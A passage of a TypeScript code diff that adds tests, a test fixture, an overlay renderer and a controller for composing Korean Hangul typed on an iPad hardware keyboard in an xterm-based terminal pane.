+  terminal.attachCustomKeyEventHandler((event) => {
+    if (
+      shouldSuppressTerminalImeKeyboardEvent(event, {
+        compositionActive: tracker.isActive(),
+        candidateKeyGuardActive: tracker.isCandidateKeyGuardActive(),
+        pendingCandidateKeyReleaseActive: false,
+        hangulPreedit: tracker.isHangulPreedit(),
+        isMac: true,
+        isLinux: false
+      })
+    ) {
+      return false
+    }
+    return !shouldBypassXtermKeyboardEvent(event, {
+      isMac: true,
+      isIosWeb,
+      hasSelection: false
+    })
+  })
+
+  const emitted: string[] = []
+  terminal.onData((data) => emitted.push(data))
+  return { compositionView, emitted, preedit, terminal, textarea }
+}
+
+export function dispatchKey(
+  { textarea }: IosHangulRig,
+  type: 'keydown' | 'keypress' | 'keyup',
+  init: {
+    key: string
+    code?: string
+    keyCode?: number
+    charCode?: number
+    shiftKey?: boolean
+    isComposing?: boolean
+  }
+): boolean {
+  const event = new KeyboardEvent(type, {
+    key: init.key,
+    code: init.code ?? 'KeyQ',
+    shiftKey: init.shiftKey ?? false,
+    bubbles: true,
+    cancelable: true
+  })
+  // happy-dom drops the legacy numeric fields from KeyboardEventInit; xterm's key paths read them.
+  Object.defineProperty(event, 'keyCode', { value: init.keyCode ?? init.key.charCodeAt(0) })
+  Object.defineProperty(event, 'charCode', { value: init.charCode ?? 0 })
+  Object.defineProperty(event, 'isComposing', { value: init.isComposing ?? false })
+  textarea.dispatchEvent(event)
+  return event.defaultPrevented
+}
+
+export function dispatchInput(
+  { textarea }: IosHangulRig,
+  inputType: string,
+  data: string | null,
+  init: { isComposing?: boolean } = {}
+): void {
+  const event = new InputEvent('input', { bubbles: true })
+  Object.defineProperty(event, 'inputType', { value: inputType })
+  Object.defineProperty(event, 'data', { value: data })
+  Object.defineProperty(event, 'isComposing', { value: init.isComposing ?? false })
+  // Trusted user events are always composed; that is the flag that makes xterm drop the commit.
+  Object.defineProperty(event, 'composed', { value: true })
+  textarea.dispatchEvent(event)
+}
+
+export function dispatchComposition(
+  { textarea }: IosHangulRig,
+  type: 'compositionstart' | 'compositionupdate' | 'compositionend',
+  data?: string
+): void {
+  const event = new CompositionEvent(type, { bubbles: true })
+  if (data !== undefined) {
+    Object.defineProperty(event, 'data', { value: data })
+  }
+  textarea.dispatchEvent(event)
+}
+
+/**
+ * One printable keystroke as a browser produces it: the key, then — only if
+ * xterm did not consume the keydown — the keypress and the text the IME writes.
+ */
+export async function typePrintable(
+  rig: IosHangulRig,
+  {
+    key,
+    keyCode,
+    written,
+    replaces,
+    shiftKey
+  }: {
+    key: string
+    keyCode: number
+    written: string
+    replaces: boolean
+    shiftKey?: boolean
+  }
+): Promise<void> {
+  if (dispatchKey(rig, 'keydown', { key, keyCode, shiftKey })) {
+    await nextEventLoop()
+    return
+  }
+  dispatchKey(rig, 'keypress', { key, keyCode, charCode: key.charCodeAt(0), shiftKey })
+  if (replaces) {
+    rig.textarea.value = rig.textarea.value.slice(0, -1)
+    dispatchInput(rig, 'deleteContentBackward', null)
+  }
+  rig.textarea.value += written
+  dispatchInput(rig, 'insertText', written)
+  await nextEventLoop()
+}
+
+/**
+ * A jamo keystroke. `replaces` is the delete-then-insert the IME uses while a
+ * syllable is still growing; without it the syllable is finished and the jamo
+ * simply appends.
+ */
+export function typeJamo(
+  rig: IosHangulRig,
+  key: string,
+  written: string,
+  options: { replaces: boolean; shiftKey?: boolean }
+): Promise<void> {
+  return typePrintable(rig, {
+    key,
+    keyCode: key.charCodeAt(0),
+    written,
+    replaces: options.replaces,
+    shiftKey: options.shiftKey
+  })
+}
+
+/** `한글`, keystroke for keystroke, as captured from the iPad. */
+export async function typeHangeul(rig: IosHangulRig): Promise<void> {
+  await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+  await typeJamo(rig, 'ㅏ', '하', { replaces: true })
+  await typeJamo(rig, 'ㄴ', '한', { replaces: true })
+  await typeJamo(rig, 'ㄱ', 'ㄱ', { replaces: false })
+  await typeJamo(rig, 'ㅡ', '그', { replaces: true })
+  await typeJamo(rig, 'ㄹ', '글', { replaces: true })
+}
+
+/** One DOM event exactly as the on-device recorder saw it. */
+export type IosDeviceTraceEvent = {
+  type: 'keydown' | 'input'
+  key: string
+  keyCode: number | null
+  inputType: string | null
+  data: string
+  /** `textarea.value` at the moment the event fired. */
+  value: string
+}
+
+export type IosDeviceTrace = {
+  source: string
+  userAgent: string
+  maxTouchPoints: number
+  typed: string
+  expected: string
+  /** What the device build actually put on the wire, bug included. */
+  observedSent: string[]
+  events: IosDeviceTraceEvent[]
+}
+
+export function loadIosDeviceTrace(fileName: string): IosDeviceTrace {
+  const path = resolve(
+    process.cwd(),
+    'src/renderer/src/components/terminal-pane/__fixtures__',
+    fileName
+  )
+  return JSON.parse(readFileSync(path, 'utf8')) as IosDeviceTrace
+}
+
+/** A recorded keydown whose field value no longer matches on replay. */
+export type FieldDrift = { index: number; recorded: string; actual: string }
+
+/**
+ * Replays a capture verbatim — the recorded events only, with the field set to
+ * the value the device held at each one. No keypress: the recorder captured
+ * keydown and input, so the browser's keypress is not replayed here and the
+ * hand-driven suites keep that coverage.
+ *
+ * Returns every keydown at which the field had drifted from the recording,
+ * which is how the controller having disturbed the IME's own state shows up.
+ */
+export async function replayIosDeviceTrace(
+  rig: IosHangulRig,
+  trace: IosDeviceTrace
+): Promise<FieldDrift[]> {
+  const drift: FieldDrift[] = []
+  for (const [index, event] of trace.events.entries()) {
+    if (event.type === 'keydown') {
+      if (rig.textarea.value !== event.value) {
+        drift.push({ index, recorded: event.value, actual: rig.textarea.value })
+      }
+      dispatchKey(rig, 'keydown', { key: event.key, keyCode: event.keyCode ?? 0 })
+    } else {
+      rig.textarea.value = event.value
+      dispatchInput(rig, event.inputType ?? 'insertText', event.data || null)
+    }
+    await nextEventLoop()
+  }
+  return drift
+}
+
+/**
+ * The same capture as keystrokes, so the shared `typeJamo` path replays it with
+ * the keypress a browser fires. `replaces` is read off the recording: a jamo
+ * that first attaches to the previous syllable arrives as delete-then-insert.
+ */
+export type DeviceTraceKeystroke = {
+  key: string
+  keyCode: number
+  written: string
+  replaces: boolean
+  shiftKey: boolean
+}
+
+export function deviceTraceKeystrokes(trace: IosDeviceTrace): DeviceTraceKeystroke[] {
+  const steps: DeviceTraceKeystroke[] = []
+  let shiftKey = false
+  for (const event of trace.events) {
+    if (event.type === 'keydown') {
+      if (event.key === 'Shift') {
+        shiftKey = true
+        continue
+      }
+      steps.push({
+        key: event.key,
+        keyCode: event.keyCode ?? 0,
+        written: '',
+        replaces: false,
+        shiftKey
+      })
+      shiftKey = false
+      continue
+    }
+    const step = steps.at(-1)
+    if (!step) {
+      throw new Error('trace opens with an input event, which no keystroke owns')
+    }
+    if (event.inputType?.startsWith('delete')) {
+      step.replaces = true
+    } else {
+      step.written = event.data
+    }
+  }
+  return steps
+}
diff --git a/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-overlay.ts b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-overlay.ts
new file mode 100644
index 00000000000..ec7d11d0a92
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit-overlay.ts
@@ -0,0 +1,53 @@
+import type { Terminal } from '@xterm/xterm'
+
+// Why: xterm draws an open syllable from its own CompositionHelper, which iPad
+// Hangul never reaches — it fires no composition events. Korean users expect to
+// watch `하` become `한`, so Orca drives xterm's `.composition-view` itself.
+//
+// Cell metrics come from the public `.xterm-screen` bounds (xterm sizes that
+// element to cols x rows cells) rather than `_core._renderService.dimensions`,
+// matching `terminal-ime-candidate-anchor.ts` — an xterm bump cannot silently
+// move the overlay off the cursor.
+
+/**
+ * Returns a renderer for the held Hangul syllable, or a no-op when the terminal
+ * has not opened its DOM. Called with '' to hide the overlay.
+ */
+export function createTerminalIosHangulPreeditRenderer(terminal: Terminal): (text: string) => void {
+  const view = terminal.element?.querySelector<HTMLElement>('.composition-view')
+  const screen = terminal.element?.querySelector<HTMLElement>('.xterm-screen')
+  if (!view || !screen) {
+    return () => undefined
+  }
+
+  return (text: string): void => {
+    if (!text) {
+      view.classList.remove('active')
+      view.textContent = ''
+      return
+    }
+    view.textContent = text
+    view.classList.add('active')
+
+    const rect = screen.getBoundingClientRect()
+    const cellWidth = rect.width / terminal.cols
+    const cellHeight = rect.height / terminal.rows
+    if (!(cellWidth > 0) || !(cellHeight > 0)) {
+      return
+    }
+    const buffer = terminal.buffer.active
+    const left = Math.min(buffer.cursorX, terminal.cols - 1) * cellWidth
+    view.style.left = `${left}px`
+    view.style.top = `${buffer.cursorY * cellHeight}px`
+    view.style.height = `${cellHeight}px`
+    view.style.lineHeight = `${cellHeight}px`
+    view.style.fontFamily = terminal.options.fontFamily ?? ''
+    view.style.fontSize = `${terminal.options.fontSize ?? 0}px`
+    // Clip at the terminal's right edge instead of overflowing the pane.
+    view.style.maxWidth = `${terminal.cols * cellWidth - left}px`
+    view.style.overflow = 'hidden'
+    // Themed rather than stock #000/#FFF, so light themes keep contrast.
+    view.style.background = terminal.options.theme?.background ?? '#000'
+    view.style.color = terminal.options.theme?.foreground ?? '#FFF'
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit.test.ts b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit.test.ts
new file mode 100644
index 00000000000..2ced09f36a8
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit.test.ts
@@ -0,0 +1,436 @@
+// @vitest-environment happy-dom
+/**
+ * iPadOS Hangul with a hardware keyboard fires no composition events at all
+ * (#13345). Captured on the device, each jamo is a plain keydown whose `key` is
+ * the jamo, followed by the IME rewriting the composing syllable in place:
+ *
+ *   keydown 'ㅎ' → insertText 'ㅎ'                       value 'ㅎ'
+ *   keydown 'ㅏ' → deleteContentBackward, insertText '하' value '하'
+ *   keydown 'ㄴ' → deleteContentBackward, insertText '한' value '한'
+ *   keydown 'ㄱ' → insertText 'ㄱ'                       value '한ㄱ'
+ *
+ * Unpatched xterm sends the jamo from `_keyPress` and drops the composed
+ * `insertText`, because `_inputEvent` admits a composed insert only when no key
+ * is down — and one is down for every one of them. The PTY sees `ㅎㅏㄴㄱㅡㄹ`.
+ *
+ * These suites drive a real xterm `Terminal` through the same tracker, bypass
+ * policy and preedit controller the pane lifecycle installs.
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+  disposeOpenTerminals,
+  dispatchComposition,
+  dispatchInput,
+  dispatchKey,
+  nextEventLoop,
+  openIosTerminal,
+  pretendIosWeb,
+  typeHangeul,
+  typeJamo,
+  typePrintable
+} from './terminal-ios-hangul-preedit-fixture'
+
+describe('iPadOS Hangul typed as bare keydowns', () => {
+  let originalUserAgent: PropertyDescriptor | undefined
+  let originalMaxTouchPoints: PropertyDescriptor | undefined
+
+  beforeEach(() => {
+    originalUserAgent = Object.getOwnPropertyDescriptor(navigator, 'userAgent')
+    originalMaxTouchPoints = Object.getOwnPropertyDescriptor(navigator, 'maxTouchPoints')
+    // happy-dom has no 2d context, which the DOM renderer's WidthCache requires.
+    vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({
+      measureText: () => ({ width: 10 })
+    } as unknown as CanvasRenderingContext2D)
+  })
+
+  afterEach(() => {
+    disposeOpenTerminals()
+    if (originalUserAgent) {
+      Object.defineProperty(navigator, 'userAgent', originalUserAgent)
+    }
+    if (originalMaxTouchPoints) {
+      Object.defineProperty(navigator, 'maxTouchPoints', originalMaxTouchPoints)
+    }
+    vi.restoreAllMocks()
+    document.body.replaceChildren()
+  })
+
+  it('sends composed syllables, not the jamo the keydowns carry', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeHangeul(rig)
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+    expect(rig.emitted).toEqual(['한', '글', '\r'])
+  })
+
+  it('commits a syllable once, with no intermediate state to retract', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeHangeul(rig)
+
+    // Only the syllable the IME finished has been sent; `글` is still held.
+    expect(rig.emitted).toEqual(['한'])
+    expect(rig.preedit.heldText()).toBe('글')
+  })
+
+  it('shows the open syllable in the preedit overlay as it grows', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    expect(rig.compositionView.classList.contains('active')).toBe(true)
+    expect(rig.compositionView.textContent).toBe('ㅎ')
+
+    await typeJamo(rig, 'ㅏ', '하', { replaces: true })
+    expect(rig.compositionView.textContent).toBe('하')
+    expect(rig.emitted).toEqual([])
+  })
+
+  it('hides the overlay once the syllable is committed', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+    expect(rig.compositionView.classList.contains('active')).toBe(false)
+    expect(rig.compositionView.textContent).toBe('')
+    expect(rig.emitted).toEqual(['ㅎ', '\r'])
+  })
+
+  it('composes after text already sitting on the line', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    for (const [key, keyCode] of [
+      ['e', 69],
+      ['c', 67],
+      ['h', 72],
+      ['o', 79],
+      [' ', 32]
+    ] as const) {
+      await typePrintable(rig, { key, keyCode, written: key, replaces: false })
+    }
+    await typeHangeul(rig)
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+
+    expect(rig.emitted.join('')).toBe('echo 한글\r')
+  })
+
+  it('leaves ASCII typing on the same device untouched', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typePrintable(rig, { key: 'l', keyCode: 76, written: 'l', replaces: false })
+    await typePrintable(rig, { key: 's', keyCode: 83, written: 's', replaces: false })
+
+    expect(rig.emitted).toEqual(['l', 's'])
+    expect(rig.compositionView.classList.contains('active')).toBe(false)
+  })
+
+  it('commits the open syllable before the space that follows it', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeHangeul(rig)
+    await typePrintable(rig, { key: ' ', keyCode: 32, written: ' ', replaces: false })
+
+    expect(rig.emitted).toEqual(['한', '글', ' '])
+  })
+
+  it('commits the open syllable when the textarea loses focus', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeHangeul(rig)
+    rig.textarea.dispatchEvent(new FocusEvent('blur', { bubbles: false }))
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual(['한', '글'])
+    expect(rig.compositionView.classList.contains('active')).toBe(false)
+  })
+
+  it('lets Backspace decompose the open syllable without reaching the PTY', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    await typeJamo(rig, 'ㅏ', '하', { replaces: true })
+
+    // The IME walks the syllable back a jamo at a time by rewriting the field.
+    dispatchKey(rig, 'keydown', { key: 'Backspace', code: 'Backspace', keyCode: 8 })
+    rig.textarea.value = 'ㅎ'
+    dispatchInput(rig, 'deleteContentBackward', null)
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.compositionView.textContent).toBe('ㅎ')
+  })
+
+  it('sends Backspace to the PTY once no syllable is open', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+
+    dispatchKey(rig, 'keydown', { key: 'Backspace', code: 'Backspace', keyCode: 8 })
+    rig.textarea.value = ''
+    dispatchInput(rig, 'deleteContentBackward', null)
+    await nextEventLoop()
+    expect(rig.emitted).toEqual([])
+
+    dispatchKey(rig, 'keydown', { key: 'Backspace', code: 'Backspace', keyCode: 8 })
+    await nextEventLoop()
+    expect(rig.emitted).toEqual(['\x7f'])
+  })
+
+  it('keeps the syllable painted between the delete and insert that replace it', async () => {
+    // Why: the IME empties the field for one event in the middle of growing a
+    // syllable, and reading it there would blank the overlay every keystroke.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, '\u314E', '\u314E', { replaces: false })
+
+    dispatchKey(rig, 'keydown', { key: '\u3153', keyCode: '\u3153'.charCodeAt(0) })
+    rig.textarea.value = ''
+    dispatchInput(rig, 'deleteContentBackward', null)
+    expect(rig.compositionView.textContent).toBe('\u314E')
+
+    rig.textarea.value = '\uD5E4'
+    dispatchInput(rig, 'insertText', '\uD5E4')
+    await nextEventLoop()
+    expect(rig.compositionView.textContent).toBe('\uD5E4')
+  })
+
+  it('holds the syllable when Backspace decomposes it as delete-then-insert', async () => {
+    // Why: the IME rewrites a growing syllable as deleteContentBackward then a
+    // replacing insertText, and there is no reason a shrinking one differs. A
+    // hold that closed on the emptied half sent the next jamo raw.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, '\u314E', '\uD558', { replaces: false })
+    await typeJamo(rig, '\u3153', '\uD5E4', { replaces: true })
+    await typeJamo(rig, '\u3134', '\uD5E8', { replaces: true })
+
+    dispatchKey(rig, 'keydown', { key: 'Backspace', code: 'Backspace', keyCode: 8 })
+    rig.textarea.value = ''
+    dispatchInput(rig, 'deleteContentBackward', null)
+    rig.textarea.value = '\uD5E4'
+    dispatchInput(rig, 'insertText', '\uD5E4')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.preedit.heldText()).toBe('\uD5E4')
+
+    await typeJamo(rig, '\u3139', '\uD5EC', { replaces: true })
+    dispatchKey(rig, 'keydown', { key: ' ', code: 'Space', keyCode: 32 })
+    await nextEventLoop()
+    expect(rig.emitted.join('')).toContain('\uD5EC')
+  })
+
+  it('does not resurrect the opening jamo after Backspace emptied the field', async () => {
+    // Why: the openKey is owed to the PTY only while the IME has written nothing.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, '\u314E', '\u314E', { replaces: false })
+
+    dispatchKey(rig, 'keydown', { key: 'Backspace', code: 'Backspace', keyCode: 8 })
+    rig.textarea.value = ''
+    dispatchInput(rig, 'deleteContentBackward', null)
+    await nextEventLoop()
+
+    dispatchKey(rig, 'keydown', { key: ' ', code: 'Space', keyCode: 32 })
+    await nextEventLoop()
+    expect(rig.emitted.join('')).not.toContain('\u314E')
+  })
+
+  it('composes one syllable from a field the IME leaves decomposed', async () => {
+    // Why: NFD grows the field by appending jamo, and an append is what the diff
+    // reads as the previous syllable settling — each jamo would go out alone.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    const steps: [string, string][] = [
+      ['\u314E', '\u1112'],
+      ['\u3153', '\u1112\u1165'],
+      ['\u3134', '\u1112\u1165\u11AB']
+    ]
+    for (const [key, field] of steps) {
+      dispatchKey(rig, 'keydown', { key, keyCode: key.charCodeAt(0) })
+      rig.textarea.value = field
+      dispatchInput(rig, 'insertText', field.slice(-1))
+      await nextEventLoop()
+      expect(rig.emitted).toEqual([])
+    }
+
+    dispatchKey(rig, 'keydown', { key: ' ', code: 'Space', keyCode: 32 })
+    await nextEventLoop()
+    expect(rig.emitted[0]).toBe('\uD5CC')
+  })
+
+  it('clears the overlay when the pane disposes the controller', async () => {
+    // Why: the pane disposes the controller before xterm tears its DOM down, so
+    // a held syllable would otherwise stay painted over a dead pane.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, '\u314E', '\u314E', { replaces: false })
+    expect(rig.compositionView.classList.contains('active')).toBe(true)
+
+    rig.preedit.dispose()
+
+    expect(rig.compositionView.classList.contains('active')).toBe(false)
+    expect(rig.compositionView.textContent).toBe('')
+  })
+
+  it('discards the open syllable on Escape, as a composition does', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    dispatchKey(rig, 'keydown', { key: 'Escape', code: 'Escape', keyCode: 27 })
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.textarea.value).toBe('')
+    expect(rig.compositionView.classList.contains('active')).toBe(false)
+  })
+
+  it('sends a jamo the IME never composed, once the next keydown settles it', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    dispatchKey(rig, 'keydown', { key: 'ㅎ', keyCode: 'ㅎ'.charCodeAt(0) })
+    await nextEventLoop()
+
+    // Nothing is sent on a timer: the device delivers its write later than a
+    // macrotask, so a deferred read that concluded "nothing was composed" would
+    // fire first and send every jamo raw. The hold stays open instead.
+    expect(rig.emitted).toEqual([])
+
+    dispatchKey(rig, 'keydown', { key: 'Enter', code: 'Enter', keyCode: 13 })
+    expect(rig.emitted).toEqual(['ㅎ', '\r'])
+  })
+
+  it('holds the jamo when the write lands after a full event loop turn', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    dispatchKey(rig, 'keydown', { key: 'ㅎ', keyCode: 'ㅎ'.charCodeAt(0) })
+    await nextEventLoop()
+
+    // The shape the device produces: the field is written only after the turn.
+    rig.textarea.value = 'ㅎ'
+    dispatchInput(rig, 'insertText', 'ㅎ')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.compositionView.textContent).toBe('ㅎ')
+  })
+
+  it('keeps a screen reader on its existing path, so input cannot vanish', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal({ screenReaderMode: true })
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+
+    expect(rig.preedit.heldText()).toBe('')
+    expect(rig.compositionView.classList.contains('active')).toBe(false)
+  })
+
+  it('leaves the syllable held when an input event changes nothing', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    await typeJamo(rig, 'ㅏ', '하', { replaces: true })
+
+    // A rewrite that lands on the same text is not the IME finishing `하`.
+    dispatchInput(rig, 'insertText', '하')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.preedit.heldText()).toBe('하')
+  })
+
+  it('does not commit a held syllable the field has stopped showing', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+
+    // Longer than what is held, but not an extension of it: the IME respelled
+    // the syllable rather than finishing it, so `ㅎ` is no longer owed.
+    rig.textarea.value = '가나'
+    dispatchInput(rig, 'insertText', '가나')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.preedit.heldText()).toBe('가나')
+  })
+
+  it('commits the held syllable when the field is rewritten out from under it', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeHangeul(rig)
+
+    // Not the IME rewriting its own syllable: the text the hold measures against
+    // is gone entirely, so `글` is still owed to the PTY rather than droppable.
+    rig.textarea.value = 'ls'
+    dispatchInput(rig, 'insertText', 's')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual(['한', '글'])
+    expect(rig.preedit.heldText()).toBe('')
+  })
+
+  it('sends a jamo composed inside a session once, not twice', async () => {
+    // The iPad on-screen keyboard does run a composition for Hangul, unlike the
+    // hardware one. A hold opened over that session would commit the raw jamo
+    // alongside xterm's own commit. `isComposing` is unreliable on a session's
+    // keydowns — the reason xterm has a 229 path at all — so the session state
+    // is what has to gate the hold.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    dispatchComposition(rig, 'compositionstart', '')
+    dispatchKey(rig, 'keydown', { key: 'ㅎ', keyCode: 'ㅎ'.charCodeAt(0) })
+    dispatchComposition(rig, 'compositionupdate', 'ㅎ')
+    rig.textarea.value = 'ㅎ'
+    dispatchInput(rig, 'insertCompositionText', 'ㅎ', { isComposing: true })
+    dispatchKey(rig, 'keydown', { key: 'ㅏ', keyCode: 'ㅏ'.charCodeAt(0) })
+    dispatchComposition(rig, 'compositionupdate', '하')
+    rig.textarea.value = '하'
+    dispatchInput(rig, 'insertCompositionText', '하', { isComposing: true })
+    dispatchComposition(rig, 'compositionend', '하')
+    dispatchInput(rig, 'insertCompositionText', '하')
+    await nextEventLoop()
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual(['하'])
+  })
+
+  it('claims the field write even once the key has been released', async () => {
+    // xterm drops a composed `insertText` only while a key is down. When the
+    // device delivers the write after the keyup, nothing but the claim keeps
+    // xterm from sending the syllable a second time.
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    dispatchKey(rig, 'keydown', { key: 'ㅎ', keyCode: 'ㅎ'.charCodeAt(0) })
+    dispatchKey(rig, 'keyup', { key: 'ㅎ', keyCode: 'ㅎ'.charCodeAt(0) })
+    rig.textarea.value = 'ㅎ'
+    dispatchInput(rig, 'insertText', 'ㅎ')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual([])
+    expect(rig.preedit.heldText()).toBe('ㅎ')
+  })
+
+  it('stands aside for composition-owned input without consulting session state', async () => {
+    // Standing aside is read off the event, not off the tracker, so it cannot
+    // depend on which `input` listener on the pane element runs first.
+    pretendIosWeb()
+    const rig = openIosTerminal({ isCompositionActive: () => false })
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    rig.textarea.value = 'ㅎ하'
+    dispatchInput(rig, 'insertCompositionText', '하')
+    await nextEventLoop()
+
+    expect(rig.emitted).toEqual(['ㅎ'])
+    expect(rig.preedit.heldText()).toBe('')
+  })
+
+  it('stands aside for a composition that starts over an open syllable', async () => {
+    pretendIosWeb()
+    const rig = openIosTerminal()
+    await typeJamo(rig, 'ㅎ', 'ㅎ', { replaces: false })
+    dispatchComposition(rig, 'compositionstart', '')
+
+    expect(rig.emitted).toEqual(['ㅎ'])
+    expect(rig.preedit.heldText()).toBe('')
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit.ts b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit.ts
new file mode 100644
index 00000000000..baa0c27d516
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/terminal-ios-hangul-preedit.ts
@@ -0,0 +1,316 @@
+import type { IDisposable } from '@xterm/xterm'
+import { isHangulJamoKeyText } from './hangul-jamo-key'
+
+// Why: iPadOS composes Hangul from a hardware keyboard with no composition
+// events at all (#13345). Each jamo arrives as a plain keydown while the IME
+// rewrites the syllable in place in the helper textarea —
+// `deleteContentBackward` then a replacing `insertText`. xterm consumes the
+// keydown, so the raw compatibility jamo reaches the PTY and the composed
+// syllable is dropped: `한글` arrives as `ㅎㅏㄴㄱㅡㄹ`.
+//
+// The keydown is handed to the system by `shouldBypassXtermForIosTextEdit`, and
+// the syllable it builds is held here until the IME proves it is final —
+// nothing is ever sent and then retracted, so raw-mode TUIs never see DEL bytes
+// they would have to interpret as "erase one cell".
+//
+// Everything is driven from `input`. iPadOS delivers it later than a macrotask,
+// so any timer-based read of the field loses the race and concludes, wrongly,
+// that nothing was composed.
+
+type OpenPreedit = {
+  /** Field text preceding the syllable; everything after it is uncommitted. */
+  baseValue: string
+  /** Held back: shown, not sent. The open syllable, plus the one before it
+   *  while a migrating batchim could still pull back into it. */
+  heldText: string
+  /** The jamo that opened the hold, owed to the PTY if the IME never writes. */
+  openKey: string
+  /** Set once the IME has written to the field, which retires `openKey`. */
+  imeWrote: boolean
+  /** What the last keydown asked the IME to do to the syllable. */
+  editKind: 'compose' | 'erase'
+}
+
+export type TerminalIosHangulPreedit = IDisposable & {
+  /** The text currently held back from the PTY, or '' when none is. */
+  heldText: () => string
+}
+
+export type TerminalIosHangulPreeditOptions = {
+  terminalElement: HTMLElement | null | undefined
+  /** Whether a composition session is under way, which bars a hold from opening
+   *  over it — Chinese pinyin on the same device does run one, and xterm's
+   *  CompositionHelper already commits it. Must be derived and expiring, not
+   *  latched: a session that never ends would otherwise disable the pane. */
+  isCompositionActive: () => boolean
+  /** Screen reader mode writes the textarea itself, so a field diff would not
+   *  be the IME's alone. */
+  isScreenReaderMode: () => boolean
+  sendInput: (data: string) => void
+  /** Draws the open syllable; called with '' when there is none. */
+  renderPreedit?: (text: string) => void
+}
+
+const NO_OP_PREEDIT: TerminalIosHangulPreedit = {
+  heldText: () => '',
+  dispose: () => undefined
+}
+
+function asHelperTextarea(target: EventTarget | null): HTMLTextAreaElement | null {
+  if (!(target instanceof HTMLTextAreaElement)) {
+    return null
+  }
+  return target.classList.contains('xterm-helper-textarea') ? target : null
+}
+
+function isUnmodified(event: KeyboardEvent): boolean {
+  return !event.ctrlKey && !event.altKey && !event.metaKey
+}
+
+function isJamoKey(event: KeyboardEvent): boolean {
+  return isHangulJamoKeyText(event.key) && isUnmodified(event)
+}
+
+function isDeletion(event: Event): boolean {
+  return event instanceof InputEvent && event.inputType.startsWith('delete')
+}
+
+/** One field rewrite, located: where the IME began and what it put there. */
+type FieldEdit = {
+  /** Index of the first character it changed. */
+  start: number
+  /** What it wrote from `start` on; empty when the rewrite wrote nothing. */
+  text: string
+}
+
+/**
+ * Why NFC: a decomposed field grows `ᄒ` -> `하` -> `한` by appending, and an
+ * append is exactly what the diff reads as the previous syllable settling — so
+ * an NFD source would put one bare jamo on the wire per keystroke. Composed,
+ * the same three keystrokes rewrite one character in place, as the device trace
+ * does. Idempotent on the NFC text iPadOS was recorded producing.
+ */
+function normalizeFieldText(value: string): string {
+  return value.normalize('NFC')
+}
+
+/**
+ * Diffs two field states, taking the common prefix as where the IME began.
+ *
+ * Why not "did the tail grow past what is held": Korean batchim migration
+ * rewrites in place. `깨` + `ㅈ` becomes `깾` — a different codepoint, not an
+ * extension — and only becomes `깨주` once the next vowel decides where the `ㅈ`
+ * belongs. Any monotonic-growth assumption stalls there.
+ *
+ * No common-suffix half, unlike the usual textarea-IME diff: the IME edits at
+ * the caret and the caret is the end of the helper textarea, so there is never
+ * an untouched tail to discount.
+ */
